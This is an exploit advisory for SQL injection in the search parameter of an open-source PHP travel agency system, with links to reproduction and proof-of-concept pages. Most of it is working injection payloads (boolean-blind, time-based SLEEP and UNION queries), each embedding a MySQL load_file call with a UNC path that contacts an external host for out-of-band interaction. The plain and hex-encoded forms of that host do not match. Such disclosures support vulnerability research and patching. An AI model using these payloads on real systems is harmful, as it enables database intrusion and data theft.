## Title: travel-1.0-by-oretnom23 Multiple-SQLi
## Author: nu11secur1ty
## Date: 11/12/2023
## Vendor: https://github.com/oretnom23
## Software: https://github.com/oretnom23/php-travel-agency-system
## Reference: https://portswigger.net/web-security/sql-injection


## Description:
The search parameter appears to be vulnerable to SQL injection
attacks. The payload '+(select
load_file('\\\\fn6kppbx0o26diasg3tbss1980et2k68xbl38twi.github.com/oretnom23/php-travel-agency-system\\yhj'))+'
was submitted in the search parameter. This payload injects a SQL
sub-query that calls MySQL's load_file function with a UNC file path
that references a URL on an external domain. The application
interacted with that domain, indicating that the injected SQL query
was executed.


STATUS: HIGH-CRITICAL Vulnerability

[+]Payload:
```MySQL
---
Parameter: search (POST)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY
or GROUP BY clause
    Payload: search=951531'+(select
load_file('\\\\fn6kppbx0o26diasg3tbss1980et2k68xbl38twi.github.com/oretnom23/php-travel-agency-system\\yhj'))+''
RLIKE (SELECT (CASE WHEN (2997=2997) THEN 0x393531353331+(select
load_file(0x5c5c5c5c666e366b70706278306f323664696173673374627373313938306574326b363878626c33387477692e6f6173746966792e636f6d5c5c79686a))+''
ELSE 0x28 END)) AND 'RIBa'='RIBa&searc=&sumbit=Submit

    Type: time-based blind
    Title: MySQL >= 5.0.12 OR time-based blind (query SLEEP)
    Payload: search=951531'+(select
load_file('\\\\fn6kppbx0o26diasg3tbss1980et2k68xbl38twi.github.com/oretnom23/php-travel-agency-system\\yhj'))+''
OR (SELECT 5424 FROM (SELECT(SLEEP(15)))vzOn) AND
'fGlq'='fGlq&searc=&sumbit=Submit

    Type: UNION query
    Title: MySQL UNION query (NULL) - 28 columns
    Payload: search=951531'+(select
load_file('\\\\fn6kppbx0o26diasg3tbss1980et2k68xbl38twi.github.com/oretnom23/php-travel-agency-system\\yhj'))+''
UNION ALL SELECT
NULL,NULL,NULL,NULL,CONCAT(0x716a767071,0x6c425375664275724e58584e686366544b776557504941584e71765144757876744972504e4f554d,0x7162767071),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&searc=&sumbit=Submit
---
```


## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2021/travel-1.0-by-oretnom23)

## Proof and Exploit:
[href](https://www.nu11secur1ty.com/2023/11/travel-10-by-oretnom23-multiple-sqli.html)

## Time spent:
00:17:00